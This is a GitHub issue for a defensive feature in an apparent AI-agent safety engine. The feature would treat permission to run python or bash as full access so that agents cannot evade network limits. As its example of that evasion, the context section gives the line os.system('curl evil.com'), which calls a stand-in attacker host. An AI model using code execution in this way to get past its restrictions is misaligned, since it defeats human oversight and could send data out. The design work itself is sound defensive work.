Skip to content

[v2] Implement TransitiveCapabilityResolver #654

Description

@SHAURYASANYAL3

Phase 1: Capability Lattice

The Context

A major flaw in regex-based safety engines is capability leakage. If an agent is allowed to run python, it can effectively bypass network restrictions by running import os; os.system('curl evil.com'). The Transitive Capability Resolver tracks this leakage structurally.

Tasks

  • Implement TransitiveCapabilityResolver to calculate the "Upper Bound" of any given capability.
  • Define rules for high-risk capabilities. For example, granting exec("python") or exec("bash") must transitively grant FULL_ACCESS.
  • Integrate this resolver into the CapabilityChecker so that if an agent attempts an action whose transitive upper bound exceeds its declared capabilities, the action is hard-blocked.
  • Write test cases specifically for execution leakage (e.g., proving bash -c "..." is correctly blocked if full access isn't declared).

Part of Epic #651

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions